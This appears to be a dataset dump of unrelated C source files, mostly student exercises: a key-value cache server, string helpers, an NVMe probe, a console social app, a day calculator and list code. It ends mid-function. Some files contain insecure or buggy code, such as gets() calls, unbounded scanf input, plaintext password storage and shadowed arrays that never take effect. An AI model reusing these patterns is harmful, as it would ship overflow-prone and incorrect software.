language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
//#include <iostream> #include <stdio.h> int main() { int i =10; char *elem_char_pointer = ( char * ) (&i); printf("\nchar *==== %d and i==== %d" ,*elem_char_pointer , * ( char * ) (&i) );; }
C
#ifndef _STRING_H_ #define _STRING_H_ #include <size_t.h> #include <_null.h> #include <errno.h> #include <stdint.h> int strcmp(const char* str1, const char* str2); int strncmp(const char* str1, const char* str2, size_t size); int strcasecmp(const char* str1, const char* str2); int strncasecmp(const char* str1, const char* str2, size_t size); char* toLower(char* string); char* toUpper(char* string); char * strcpy(char * destination, const char * source); char * strpad(char * destination, size_t desSize, const char* source, size_t sourceSize, char padChar); char* strcat(char* destination, const char* str1, const char* str2); errno_t strcpy_s(char *destination, size_t numberOfElements, const char *source); size_t strlen(const char* source); size_t strnlen(const char* source); void * memcpy(void * destination, const void * source, size_t count); errno_t memcpy_s(void *destination, size_t destinationSize, const void *source, size_t count); void * memset(void *destination, char val, size_t count); unsigned short * memsetw(unsigned short * destination, unsigned short val, size_t count); int atoi(const char* intString); int strchr(const char* haystack, char needle); char CharToUpper(char character); int strcount(const char* haystack, char needle); #endif
C
#include "cream.h" #include "utils.h" #include "hashmap.h" #include "queue.h" #include "csapp.h" #include <string.h> #include <stdio.h> #include <errno.h> #include <signal.h> #define UNKNOWN 0x80 #define HELP(prog_name) \ do{ \ fprintf(stderr, \ "%s [-h] NUM_WORKERS PORT_NUMBER MAX_ENTRIES\n" \ "-h Displays this help menu and returns EXIT_SUCCESS.\n" \ "NUM_WORKERS The number of worker threads used to service requests.\n" \ "PORT_NUMBER Port number to listen on for incoming connections.\n" \ "MAX_ENTRIES The maximum number of entries that can be stored in `cream`'s underlying data store.\n", (prog_name)); \ } while(0) typedef struct map_insert_t { void *key_ptr; void *val_ptr; int key_len; int val_len; } map_insert_t; static uint32_t NUM_WORKERS; static char* PORT_NUMBER; static uint32_t MAX_ENTRIES; queue_t *requestQueue; hashmap_t *globalHash; void parse_args(int argc, char* argv[]) { if(argc != 4) goto error; for(int i = 1; i < argc; i++) { int num; if((num = atoi(argv[i])) <= 0) goto error; if(i == 1) NUM_WORKERS = num; else if(i == 2) PORT_NUMBER = argv[i]; else MAX_ENTRIES = num; } return; error: HELP(argv[0]); exit(EXIT_FAILURE); } void queue_free_function(void *item) { free(item); } void map_free_function(map_key_t key, map_val_t val) { free(key.key_base); free(val.val_base); } static int read_key_val(int* connfd, map_insert_t* insert) { if(errno == EPIPE || Rio_readn(*connfd,insert->key_ptr,insert->key_len) != (ssize_t)insert->key_len){ return -1; } if(insert->val_len > 0) { if(errno == EPIPE || Rio_readn(*connfd,insert->val_ptr,insert->val_len) != (ssize_t)insert->val_len) return -1; } return 0; } static uint8_t request_handler(int* connfd, map_insert_t* insert) { int err = 0; request_codes code; size_t size_reqH = sizeof(request_header_t); request_header_t* header = malloc(size_reqH); if(errno == EPIPE || Rio_readn(*connfd, header, size_reqH) != size_reqH) { err = -1; goto final; } else { if(header->key_size < MIN_KEY_SIZE || header-> key_size > MAX_KEY_SIZE) { if(header->request_code != CLEAR) { err = -1; goto final; } } insert->key_len = header->key_size; insert->key_ptr = malloc(header->key_size); code = header->request_code; switch(code) { case PUT: if(header->value_size < MIN_VALUE_SIZE || header->value_size > MAX_VALUE_SIZE) { err = -1; goto final; } insert->val_len = header->value_size; insert->val_ptr = malloc(header->value_size); err = read_key_val(connfd, insert); break; case GET: case EVICT: case CLEAR: err = read_key_val(connfd, insert); break; default: err = -1; goto final; } } final: free(header); return (err < 0) ? UNKNOWN : code; } static void response_handler(int* connfd, uint32_t resCode, map_insert_t* insert) { size_t size_resH = sizeof(response_header_t); response_header_t* header = calloc(1, size_resH); header->response_code = resCode; switch(resCode) { case OK: header->value_size = insert->val_len; if(errno != EPIPE) Rio_writen(*connfd, header, size_resH); if(insert->val_len != 0 && errno != EPIPE) { Rio_writen(*connfd, insert->val_ptr, insert->val_len); } break; case NOT_FOUND: case BAD_REQUEST: case UNSUPPORTED: default: if(errno != EPIPE) Rio_writen(*connfd, header, size_resH); } return; } uint32_t hashmap_handler(uint8_t req_code, map_insert_t* insert) { response_codes res_code; map_val_t val; bool success; switch(req_code) { case PUT: success = put(globalHash, MAP_KEY(insert->key_ptr, insert->key_len), MAP_VAL(insert->val_ptr, insert->val_len), true); res_code = (success) ? OK : BAD_REQUEST; insert->val_len = 0; break; case GET: val = get(globalHash, MAP_KEY(insert->key_ptr, insert->key_len)); if(val.val_base != NULL && val.val_len > 0) { insert->val_ptr = val.val_base; insert->val_len = val.val_len; res_code = OK; } else res_code = NOT_FOUND; break; case EVICT: delete(globalHash, MAP_KEY(insert->key_ptr, insert->key_len)); res_code = OK; break; case CLEAR: clear_map(globalHash); res_code = OK; break; case UNKNOWN: default: res_code = UNSUPPORTED; } return res_code; } void *thread(void *vargp) { Pthread_detach(pthread_self()); signal(SIGPIPE, SIG_IGN); while(1) { int* connfd = dequeue(requestQueue); if(connfd != NULL) { map_insert_t *insert = calloc(1, sizeof(map_insert_t)); uint8_t reqCode = request_handler(connfd, insert); if(errno != EPIPE) { response_codes resCode = hashmap_handler(reqCode, insert); response_handler(connfd, resCode, insert); } free(insert); } close(*connfd); free(connfd); errno = 0; } return NULL; } int main(int argc, char *argv[]) { parse_args(argc, argv); int listenfd; socklen_t clientlen; struct sockaddr clientaddr; pthread_t tid; listenfd = Open_listenfd(PORT_NUMBER); requestQueue = create_queue(); globalHash = create_map(MAX_ENTRIES, jenkins_one_at_a_time_hash, map_free_function); for(int i = 0; i < NUM_WORKERS; i++) { Pthread_create(&tid, NULL, thread, NULL); } while(1) { clientlen = sizeof(struct sockaddr); int* connfd = malloc(sizeof(int)); *connfd = Accept(listenfd, (SA*) &clientaddr, &clientlen); enqueue(requestQueue, connfd); } //final: invalidate_queue(requestQueue, queue_free_function); invalidate_map(globalHash); free(requestQueue); free(globalHash); exit(0); }
C
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ byte ; struct TYPE_4__ {TYPE_1__* lumps; } ; struct TYPE_3__ {int filelen; int fileofs; } ; /* Variables and functions */ int /*<<< orphan*/ Error (char*) ; int hl_fileLength ; TYPE_2__* hl_header ; int /*<<< orphan*/ memcpy (void*,int /*<<< orphan*/ *,int) ; int /*<<< orphan*/ printf (char*,int,...) ; int HL_CopyLump (int lump, void *dest, int size, int maxsize) { int length, ofs; length = hl_header->lumps[lump].filelen; ofs = hl_header->lumps[lump].fileofs; if (length % size) { Error ("LoadBSPFile: odd lump size"); } // somehow things got out of range if ((length/size) > maxsize) { printf("WARNING: exceeded max size for lump %d size %d > maxsize %d\n", lump, (length/size), maxsize); length = maxsize * size; } if ( ofs + length > hl_fileLength ) { printf("WARNING: exceeded file length for lump %d\n", lump); length = hl_fileLength - ofs; if ( length <= 0 ) { return 0; } } memcpy (dest, (byte *)hl_header + ofs, length); return length / size; }
C
#include <stdio.h> #include <stdlib.h> #include <math.h> #include <string.h> #include "helpers-misc.h" #include "emb-logging.h" /*! Rounds a double (\a src) and returns it as an \c int. */ int roundDouble(double src) { if(src < 0.0) return (int) ceil(src - 0.5); return (int)floor(src+0.5); } /*! Returns \c true if string (\a str) begins with substring (\a pre), otherwise returns \c false. */ char startsWith(const char* pre, const char* str) { char result = 0; size_t lenpre; size_t lenstr; if(!pre) { embLog_error("helpers-misc.c startsWith(), pre argument is null\n"); return 0; } if(!str) { embLog_error("helpers-misc.c startsWith(), str argument is null\n"); return 0; } lenpre = strlen(pre); lenstr = strlen(str); if(lenstr < lenpre) return 0; result = (char)strncmp(pre, str, lenpre); if(result == 0) return 1; return 0; } /*! Removes all characters from the right end of the string (\a str) that match (\a junk), moving left until a mismatch occurs. */ char* rTrim(char* const str, char junk) { char* original = str + strlen(str); while(*--original == junk); *(original + 1) = '\0'; return str; } /*! Removes all characters from the left end of the string (\a str) that match (\a junk), moving right until a mismatch occurs. */ char* lTrim(char* const str, char junk) { char* original = str; char* p = original; int trimmed = 0; do { if(*original != junk || trimmed) { trimmed = 1; *p++ = *original; } } while(*original++ != '\0'); return str; } /* TODO: trimming function should handle any character, not just whitespace */ static char const WHITESPACE[] = " \t\n\r"; /* TODO: description */ static void get_trim_bounds(char const *s, char const **firstWord, char const **trailingSpace) { char const* lastWord = 0; *firstWord = lastWord = s + strspn(s, WHITESPACE); do { *trailingSpace = lastWord + strcspn(lastWord, WHITESPACE); lastWord = *trailingSpace + strspn(*trailingSpace, WHITESPACE); } while (*lastWord != '\0'); } /* TODO: description */ char* copy_trim(char const *s) { char const *firstWord = 0, *trailingSpace = 0; char* result = 0; size_t newLength; get_trim_bounds(s, &firstWord, &trailingSpace); newLength = trailingSpace - firstWord; result = (char*)malloc(newLength + 1); memcpy(result, firstWord, newLength); result[newLength] = '\0'; return result; } /* TODO: description */ void inplace_trim(char* s) { char const *firstWord = 0, *trailingSpace = 0; size_t newLength; get_trim_bounds(s, &firstWord, &trailingSpace); newLength = trailingSpace - firstWord; memmove(s, firstWord, newLength); s[newLength] = '\0'; } /*! Optimizes the number (\a num) for output to a text file and returns it as a string (\a str). */ char* emb_optOut(double num, char* str) { /* Convert the number to a string */ sprintf(str, "%.10f", num); /* Remove trailing zeroes */ rTrim(str, '0'); /* Remove the decimal point if it happens to be an integer */ rTrim(str, '.'); return str; } /*! Duplicates the string (\a src) and returns it. It is created on the heap. The caller is responsible for freeing the allocated memory. */ char* emb_strdup(const char* src) { char* dest = 0; if(!src) { embLog_error("helpers-misc.c emb_strdup(), src argument is null\n"); return 0; } dest = (char*)malloc(strlen(src) + 1); if(!dest) { embLog_error("helpers-misc.c emb_strdup(), cannot allocate memory\n"); } else { strcpy(dest, src); } return dest; }
C
#include "spdk/stdinc.h" #include "spdk/nvme.h" #include "spdk/vmd.h" #include "spdk/env.h" #include "sys/time.h" #include <termio.h> #include <unistd.h> static struct ctrlr_entry *g_controllers = NULL; static struct ns_entry *g_namespaces = NULL; struct ctrlr_entry { struct spdk_nvme_ctrlr *ctrlr; struct ctrlr_entry *next; char name[1024]; }; struct ns_entry { struct spdk_nvme_ctrlr *ctrlr; struct spdk_nvme_ns *ns; struct ns_entry *next; struct spdk_nvme_qpair* qpair; }; static void register_ns(struct spdk_nvme_ctrlr *ctrlr, struct spdk_nvme_ns *ns) { struct ns_entry *entry; if (!spdk_nvme_ns_is_active(ns)) { return; } entry = malloc(sizeof(struct ns_entry)); if (entry == NULL) { perror("ns_entry malloc"); exit(1); } entry->ctrlr = ctrlr; entry->ns = ns; entry->next = g_namespaces; g_namespaces = entry; printf(" Namespace ID: %d size: %juGB\n", spdk_nvme_ns_get_id(ns), spdk_nvme_ns_get_size(ns) / 1000000000); } static bool probe_cb(void *cb_ctx, const struct spdk_nvme_transport_id *trid, struct spdk_nvme_ctrlr_opts *opts){ printf("Attaching to %s\n", trid->traddr); return true; } static void attach_cb(void *cb_ctx, const struct spdk_nvme_transport_id *trid, struct spdk_nvme_ctrlr *ctrlr, const struct spdk_nvme_ctrlr_opts *opts) { int nsid, num_ns; struct ctrlr_entry *entry; struct spdk_nvme_ns *ns; const struct spdk_nvme_ctrlr_data *cdata; entry = malloc(sizeof(struct ctrlr_entry)); if (entry == NULL) { perror("ctrlr_entry malloc"); exit(1); } printf("Attached to %s\n", trid->traddr); /* * spdk_nvme_ctrlr is the logical abstraction in SPDK for an NVMe * controller. During initialization, the IDENTIFY data for the * controller is read using an NVMe admin command, and that data * can be retrieved using spdk_nvme_ctrlr_get_data() to get * detailed information on the controller. Refer to the NVMe * specification for more details on IDENTIFY for NVMe controllers. */ cdata = spdk_nvme_ctrlr_get_data(ctrlr); snprintf(entry->name, sizeof(entry->name), "%-20.20s (%-20.20s)", cdata->mn, cdata->sn); entry->ctrlr = ctrlr; entry->next = g_controllers; g_controllers = entry; /* * Each controller has one or more namespaces. An NVMe namespace is basically * equivalent to a SCSI LUN. The controller's IDENTIFY data tells us how * many namespaces exist on the controller. For Intel(R) P3X00 controllers, * it will just be one namespace. * * Note that in NVMe, namespace IDs start at 1, not 0. */ num_ns = spdk_nvme_ctrlr_get_num_ns(ctrlr); printf("Using controller %s with %d namespaces.\n", entry->name, num_ns); for (nsid = 1; nsid <= num_ns; nsid++) { ns = spdk_nvme_ctrlr_get_ns(ctrlr, nsid); if (ns == NULL) { continue; } register_ns(ctrlr, ns); } } static void cleanup(void) { struct ns_entry *ns_entry = g_namespaces; struct ctrlr_entry *ctrlr_entry = g_controllers; while (ns_entry) { struct ns_entry *next = ns_entry->next; free(ns_entry); ns_entry = next; } while (ctrlr_entry) { struct ctrlr_entry *next = ctrlr_entry->next; spdk_nvme_detach(ctrlr_entry->ctrlr); free(ctrlr_entry); ctrlr_entry = next; } } static inline uint64_t rdtscp(void) { uint64_t rax,rdx; asm volatile ( "rdtscp\n" : "=a" (rax), "=d" (rdx)::"%rcx","memory"); return (rdx << 32) | rax; }
C
#include <stdio.h> #include "server.h" char buffer[MAXMSG]; static int setFlag = 0; int inputAvailable() { struct timeval tv; fd_set fds; tv.tv_sec = 0; tv.tv_usec = 0; FD_ZERO(&fds); FD_SET(STDIN_FILENO, &fds); select(STDIN_FILENO+1, &fds, NULL, NULL, &tv); int nbytes; if(FD_ISSET(0, &fds)) { nbytes = read (STDIN_FILENO+1, buffer, MAXMSG); fprintf (stderr, "send message to client: `%s'\n", buffer); setFlag = 1; } return (FD_ISSET(0, &fds)); } int main(int argcc, char *argv[]) { int in = 0; int y; printf("hello joe\n"); static int last_connection = -1; init(); while(buffer[0] != 'q') { //puts("looping\n"); in = inputAvailable(); //puts(buffer); int x = getMessage(); if(new > 0) { if (new != last_connection) { if (FD_ISSET (new, &read_fd_set)) { //y = sendMessage(new); } last_connection = new; for(int i = 0; i < new; i++) { fprintf(stderr, "connected: %d\n", connection[i]); } } if(setFlag) { y = sendMessage(buffer[0] - '0'); fprintf(stderr, "selected: %d\n", buffer[0] - '0'); setFlag = 0; } } } cleanup(); }
C
// // OperationStack.h // Real Estate Agency // // Created by Andrei-Sorin Blaj on 25/04/2017. // Copyright © 2017 Andrei-Sorin Blaj. All rights reserved. // #ifndef OperationStack_h #define OperationStack_h #include <stdio.h> #include <stdlib.h> #include "../model/DynamicArray.h" typedef struct { Estate* estate; char* type; }Operation; Operation* create_operation(Estate* estate, char* type); // Creates an operation void destroy_operation(Operation* op); // Frees the memory for an operation Operation* operation_copy(Operation* op); // Returns a copy of an operation char* get_operation_type(Operation* op); // Returns a char containing the type of an operation Estate* get_operation_estate(Operation* op); // Returns the estate in an operation // -------------------------------------------------- typedef struct { Operation* operations[100]; int length; }OperationStack; OperationStack* create_operation_stack(); // Creates an operation stack void destroy_operation_stack(OperationStack* stack); // Destroys an operation stack void push(OperationStack* stack, Operation* op); // Pushes an operation onto the stack Operation* pop(OperationStack* stack); // Pops an operation from the stack (and returns it) void test_operation_stack(); #endif /* OperationStack_h */
C
#include <stdio.h> int main(){ int i,n; double a,b,c; scanf("%d",&n); for(i=0;i<n;i++){ scanf("%lf %lf %lf",&a,&b,&c); printf("%.1lf\n",(a*2+b*3+c*5)/10); } return 0; }
C
#include <stdio.h> #include<string.h> struct tagSTUDENT { int no; char name[100]; int age; char qq[100]; char secret[100]; }; int target=-1; int size=0; struct tagSTUDENT users[1000]; struct message { char from[100]; char to[100]; char content[1000]; }; struct message messages[10000]; int msg_number=0; struct blog { char name[100]; char text[10000]; }; struct blog blogs[100]; int blog_number=0; void main_panel(); void reg(); void login(); int check_name_valid(char name[100]); void change_password(); void write_message(); void check_message(); void logout(); void write_blog(); void check_blog(); void load(); void save(); int main() { //TODO: read all users from data.txt load(); int answer; printf("If you have an ID? [0/1]:"); while (1) { scanf("%d",&answer); if (answer == 0) { reg(); break; } else if (answer == 1) { login(); break; } else { printf("Please input right command [0/1]:"); } } main_panel(); save(); } void load() { FILE* f=fopen("data.txt","r"); if (f != NULL) { while (fscanf(f,"%s %s %d %d %s\n",users[size].name, users[size].secret,&users[size].no,&users[size].age,users[size].qq) != EOF) { size ++; } fclose(f); } FILE* fe=fopen("message.txt","r"); if(fe!=NULL) { while (fscanf(fe,"%s%s",messages[msg_number].to,messages[msg_number].from)!=EOF) { fgets(messages[msg_number].content,100,fe); msg_number++; } fclose(fe); } FILE* b=fopen("blog.txt","r"); if(b!=NULL) { while(fscanf(b,"%s",blogs[blog_number].name)!=EOF) { fgets(blogs[blog_number].text,10000,b); blog_number++; } fclose(b); } } void save() { FILE* fw=fopen("data.txt","w"); for (int i = 0; i < size; i++) { fprintf(fw,"%s %s %d %d %s \n",users[i].name, users[i].secret,users[i].no,users[i].age,users[i].qq); } fclose(fw); FILE* fe=fopen("message.txt","w"); for(int i=0; i<msg_number; i++) fprintf(fe,"%s %s %s\n",messages[i].to,messages[i].from,messages[i].content); fclose(fe); FILE* b=fopen("blog.txt","w"); for(int i=0; i<blog_number;i++) fprintf(b,"%s %s\n",blogs[i].name,blogs[i].text); fclose(b); } void main_panel() { int number; while(number!=8){ printf("Please choose your command:\n"); printf("1 Change the password\n"); printf("2 Change your profile\n"); printf("3 Search the member\n"); printf("4 send massage to others\n"); printf("5 search the massage from others\n"); printf("6 write blogs\n"); printf("7 look for others blogs\n"); printf("8 exit\n"); scanf("%d",&number); switch(number) { case 1: change_password(); break; case 2: change_profile(); break; case 3: search_member(); break; case 4: write_message(); break; case 5: check_message(); break; case 6: write_blog(); break; case 7: check_blog(); break; case 8: printf("Logout\n"); break; } } } int check_name_valid(char name[100]) { for (int i = 0; i < size; i++) { if (strcmp(name, users[i].name) == 0) return 1; } return 0; } void reg() { struct tagSTUDENT x; printf("Please creat your ID:"); scanf("%s",x.name); while (check_name_valid(x.name)) { printf("The name has been used, please renter your name:"); scanf("%s", x.name); } printf("Please enter your password:"); scanf("%s",x.secret); printf("Please enter your Student Number:"); scanf("%d",&x.no); printf("Please enter your age:"); scanf("%d",&x.age); printf("Please enter your qq Number:"); scanf("%s",x.qq); users[size++] = x; // } void login() { while(target<0) { struct tagSTUDENT x; printf("Please enter your ID:\n"); scanf("%s",x.name); printf("Please enter your Password\n"); scanf("%s",x.secret); for(int i=0; i<size; i++) { if((strcmp(x.secret,users[i].secret)==0)&&(strcmp(x.name,users[i].name)==0)) { target=i; printf("login successfully!\n"); break; } } if(target<0) printf("Your massage is wrong!"); } } void change_password() { struct tagSTUDENT x; printf("Please enter your new password:"); scanf("%s",x.secret); strcpy(users[target].secret,x.secret); printf("Change successfully\n"); } void change_profile() { struct tagSTUDENT x; printf("Please choose your item:"); printf("1 Change your no:"); printf("2 Change your qq:"); printf("3 Change your age:"); int number; scanf("%d",&number); switch (number) { case 1: printf("Please enter your new no:"); scanf("%d",&x.no); users[target].no=x.no; break; case 2: printf("Please enter your qq:"); scanf("%s",x.qq); strcpy(users[target].qq,x.qq); break; case 3: printf("Please enter your age:"); scanf("%d",&x.age); users[target].age=x.age; break; } printf("Change successfully!\n"); } void search_member() { int check=0; while(check==0) { struct tagSTUDENT x; printf("Please enter the ID:"); scanf("%s",x.name); for(int i=0; i<size; i++) { if(strcmp(x.name,users[i].name)==0) { printf("name:%s\nqq:%s\nage:%d\nno:%d\n",users[i].name,users[i].qq,&users[i].age,&users[i].no); check=1; break; } } } } void write_message() { struct message s; int correct=0; while(correct==0) { printf("Please enter your friend's ID:"); scanf("%s",s.to); strcpy(s.from,users[target].name); printf("Please write your message:"); getchar(); gets(s.content); printf("Weather your want to send this message?"); int answer; scanf("%d",&answer); if(answer==1) { messages[msg_number++]=s; printf("your message has been sent successfully!\n"); correct=1; } } } void check_message() { struct message s; int count=0; for(int i=msg_number; i>=0; i--) { if(strcmp(messages[i].to,users[target].name)==0) { count++; printf("Message %d From: %s Content: %s",count,messages[i].from,messages[i].content); } } } void write_blog() { struct blog t; printf("Please write your blog:"); getchar(); gets(t.text); strcpy(t.name,users[target].name); blogs[blog_number++]=t; printf("Your blog has been reserved successfully!\n"); } void check_blog() { char name[100]; printf("Please enter the name you want to search:"); scanf("%s",name); for(int i=0; i<blog_number; i++) { if(strcmp(blogs[i].name,name)==0) printf("%s\n",blogs[i].text); } }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> /* Program Name: daysCalculatorC.c Author: Tina Tissington Last Update: Sept. 17, 2019 Function: to find how many days are between two dates Compilation: gcc -ansi -o daysCalculatorC daysCalculatorC.c Execution: ./daysCalculatorC dd1-mm1-yyyy1 dd2-mm2-yyyy2 */ int main ( int argc, char *argv[] ) { char dayStr1[3]; char monthStr1[3]; char yearStr1[5]; char dayStr2[3]; char monthStr2[3]; char yearStr2[5]; int dd1 = 0; int mm1 = 0; int yyyy1 = 0; int dd2 = 0; int mm2 = 0; int yyyy2 = 0; int dayOfYear1[12] = { 1, 31, 60, 91, 121, 152, 182, 213, 243, 274, 304, 335 }; int dayOfYear2[12] = { 1, 31, 60, 91, 121, 152, 182, 213, 243, 274, 304, 335 }; if ( argc < 3 ) { printf ( "Usage: ./dates dd1-mm1-yyyy1 dd2-mm2-yyyy2 \n" ); exit ( 1 ); } else { dayStr1[0] = argv[1][0]; dayStr1[1] = argv[1][1]; dayStr1[2] = '\0'; monthStr1[0] = argv[1][3]; monthStr1[1] = argv[1][4]; monthStr1[2] = '\0'; yearStr1[0] = argv[1][6]; yearStr1[1] = argv[1][7]; yearStr1[2] = argv[1][8]; yearStr1[3] = argv[1][9]; yearStr1[4] = '\0'; dayStr2[0] = argv[2][0]; dayStr2[1] = argv[2][1]; dayStr2[2] = '\0'; monthStr2[0] = argv[2][3]; monthStr2[1] = argv[2][4]; monthStr2[2] = '\0'; yearStr2[0] = argv[2][6]; yearStr2[1] = argv[2][7]; yearStr2[2] = argv[2][8]; yearStr2[3] = argv[2][9]; yearStr2[4] = '\0'; } dd1 = atoi ( dayStr1 ); mm1 = atoi ( monthStr1 ); yyyy1 = atoi ( yearStr1 ); dd2 = atoi ( dayStr2 ); mm2 = atoi ( monthStr2 ); yyyy2 = atoi ( yearStr2 ); if (yyyy1%4 == 0 && yyyy1%100 != 0 || yyyy1%4 == 0 && yyyy1%400 == 0) { int dayOfYear1[12] = {1, 32, 61, 92, 122, 153, 183, 214, 244, 275, 305, 336}; } if (yyyy2%4 == 0 && yyyy2%100 != 0 || yyyy2%4 == 0 && yyyy2%400 == 0) { int dayOfYear2[12] = {1, 32, 61, 92, 122, 153, 183, 214, 244, 275, 305, 336}; } int day1 = dayOfYear1[mm1-1] + dd1; int day2 = dayOfYear2[mm2-1] + dd2; if ( argc > 3 ) { if ( strcmp ( "include", argv[3] ) == 0 ) { day2 = day2 + 1; } } if ( day2 > day1) { int answer = day2 - day1; printf ( "%d\n", answer ); } return ( 0 ); }
C
#include <stdio.h> typedef struct Punto_{ int x; int y; }Punto; void moltiplica(int a, int b); void molt(int* a, int* b); int mul(int a, int b); void assegnaPunto(Punto *a); int main() { int *p; int variabile = 3; p = &variabile; printf("p: %d\n" , *p); int mat[3][4]; mat[0][0] = 2; p = mat; //p = &mat[0][0]; printf("mat: %d\n" , *p); int var1 = 3, var2 = 4; moltiplica(var1, var2); printf("var1: %d, var2:%d\n", var1, var2); molt(&var1,&var2); printf("var1: %d\n", var1); int res; res = mul(var1,var2); printf("res: %d\n", res); Punto z; assegnaPunto(&z); printf("Punto: x: %d, y:%d", z.x, z.y); return 0; } void moltiplica(int a, int b){ a = a*b; printf("moltiplica: %d\n", a); } void molt(int* a, int* b){ *a = *a * *b; } int mul(int a, int b){ return a*b; } void assegnaPunto(Punto *a){ (*a).x = 10; a->y = 12; }
C
#include<stdio.h> #include<omp.h> #include<time.h> int min(int a,int b) { return(a<b)?a:b; } void floyds(int cost[10][10],int n) { int i,j,k; #pragma omp parallel private(i,j,k) shared(cost)for(k=1;k<=n;k++) for(i=1;i<=n;i++) for(j=1;j<=n;j++) cost[i][j]=min(cost[i][j],cost[i][k]+cost[k][j]); } void main() { int n,cost[10][10],source,i,j; double start,end; printf("enter the no of vertices of th the graph"); scanf("%d",&n); printf("enter the cost matrix of the graph\n"); for(i=1;i<n;i++) for(j=1;j<n;j++) { scanf("%d",&cost[i][j]); } start=omp_get_wtime(); floyds(cost,n); end=omp_get_wtime(); for(i=1;i<n;i++) { for(j=1;j<n;j++) { printf("%d\t",cost[i][j]); } } printf("Timre taken= %10.9f\n",(double)(end-start)); }
C
/* 6.Considere uma disciplina que adota o seguinte critério de aprovação: os alunos fazem duas provas (P1 e P2) iniciais; se a média nas duas provas for maior ou igual a 5.0, e se nenhuma das duas notas for inferior a 3.0, o aluno passa direto. Caso contrário, o aluno faz uma terceira prova(P3) e a média é calculada considerando-se a terceira nota e a maior das notas entre P1 e P2. Neste caso, o aluno é aprovado se a média final for maior ou igual a 5.0. */ #include <stdio.h> float n1,n2,n3, maior; int main(int argc, char const *argv[]) { printf("Digite a nota 1:\n"); scanf("%f", &n1); printf("Digite a nota 2:\n"); scanf("%f", &n2); maior = n1>n2 ? n1:n2; if (((n1+n2)/2 >= 5.0) && (n1 > 3.0) && (n2 > 3.0)){ printf("Aprovado conceito A!!!\n"); }else{ printf("Digite a nota 3:\n"); scanf("%f", &n3); if ( (maior+n3)/2 >= 5){ printf("Aprovado por conceito B!\n"); }else{ printf("Tente novamente!\n"); } } return 0; }
C
/* TAD para fila dinamica */ /* DEFINES */ /* VARIAVEIS */ typedef int elem; typedef struct no { elem info; elem prioridade; struct no *prox; } no; typedef struct { int qtd_elementos; no *ini, *fim; } Fila; /* FUNCOES */ void criaFila(Fila *F); int entraFila(Fila *F, elem *x, elem *prior); int saiFila(Fila *F); int estaVazia(Fila *F);
C
#include "lists.h" /** * check_cycle - check if there is a cycle on a list * @list: pointer to the head of the data struck * Return: 0 if there is not cycle, 1 for a cycle. */ int check_cycle(listint_t *list) { listint_t *fast, *slow; if (list == NULL || list->next == NULL) return (0); slow = list; fast = list; while (fast != NULL && slow != NULL && fast->next != NULL) { slow = slow->next; fast = fast->next->next; if (slow == fast) return (1); } return (0); }
C
// ******************************************************* // // heliHMI.h // // Support for the HMI of the helicopter // // Author: Zeb Barry ID: 79313790 // Author: Mitchell Hollows ID: 23567059 // Author: Jack Topliss ID: 46510499 // Group: Thu am 22 // Last modified: 21.5.2019 // // ******************************************************* #include <stdint.h> #include <stdbool.h> #include "heliHMI.h" #include "utils/ustdlib.h" #include "USBUART.h" #include "display.h" #include "heliPWM.h" #include "stateMachine.h" #include "yaw.h" //******************************************************** // handleHMI - Handle output to UART port and display. //******************************************************** void handleHMI (heli_t *heli) { // Output data to UART handleUART (heli); // Update OLED display with ADC, yaw value, duty cycles and state. displayMeanVal (heli->mappedAlt, heli->desiredAlt); displayYaw (heli->mappedYaw, heli->desiredYaw); displayPWM (heli->mainRotor, heli->tailRotor); displayState (heli->heliState); } //******************************************************** // handleUART - Handle output to UART port //******************************************************** void handleUART (heli_t *heli) { char statusStr[MAX_STR_LEN + 1]; // Form and send a status message for altitude to the console usnprintf (statusStr, sizeof(statusStr), "ALT: %3d [%3d]\r\n", heli->mappedAlt, heli->desiredAlt); UARTSend (statusStr); // Form and send a status message for yaw to the console int16_t mappedDesiredYaw = mapYaw2Deg (heli->desiredYaw, true); usnprintf (statusStr, sizeof(statusStr), "YAW: %3d [%3d]\r\n", heli->mappedYaw, mappedDesiredYaw); UARTSend (statusStr); // Form and send a status message for rotor duty cycles if (heli->mainRotor->state && heli->tailRotor->state) { usnprintf (statusStr, sizeof(statusStr), "MAIN %2d TAIL %2d\r\n", heli->mainRotor->duty, heli->tailRotor->duty); } else { usnprintf (statusStr, sizeof(statusStr), "MAIN %2d TAIL %2d\r\n", 0, 0); } UARTSend (statusStr); // Send status message about helicopter state char *state[] = {"LANDED", "TAKE OFF", "FLYING", "LANDING", "ERROR"}; // Leave enough space for the template, state and null terminator. usnprintf (statusStr, sizeof(statusStr), "HELI: %s\r\n\n", state[heliState]); UARTSend (statusStr); }
C
#include <stdio.h> #include <stdlib.h> #include "list.h" int main(){ struct node *test; printf("New list: \n"); print_list(test); test = insert_front(test, 22); printf("Adding 22: \n"); print_list(test); test = insert_front(test, -68); printf("Adding -68: \n"); print_list(test); test = insert_front(test, 0); printf("Adding 0: \n"); print_list(test); test = free_list(test); printf("Freeing: \n"); print_list(test); return 0; }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* get_next_line_bonus.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: khagiwar <[email protected].> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/11/02 13:55:53 by khagiwar #+# #+# */ /* Updated: 2020/11/13 22:53:17 by khagiwar ### ########.fr */ /* */ /* ************************************************************************** */ #include <unistd.h> #include "get_next_line_bonus.h" #include <stdlib.h> #include <stdbool.h> void remove_list(int fd, t_list **head, t_list *prev) { t_list *curr; if (!head) return ; curr = *head; if (curr->fd == fd) { if (prev) prev->next = curr->next; else *head = curr->next; free(curr->str); free(curr); } else if (curr->next) remove_list(fd, &(curr->next), curr); } t_list *get_list(int fd, t_list **head) { t_list *curr; curr = *head; if (!curr) { if (!(curr = (t_list *)malloc(sizeof(t_list)))) return (NULL); *curr = (t_list){NULL, NULL, fd}; *head = curr; } while (curr) { if (curr->fd == fd) return (curr); if (!(curr->next)) { if (!(curr->next = (t_list *)malloc(sizeof(t_list)))) break ; *(curr->next) = (t_list){NULL, NULL, fd}; } curr = curr->next; } return (NULL); } int get_next_line(int fd, char **line) { static t_list *store; 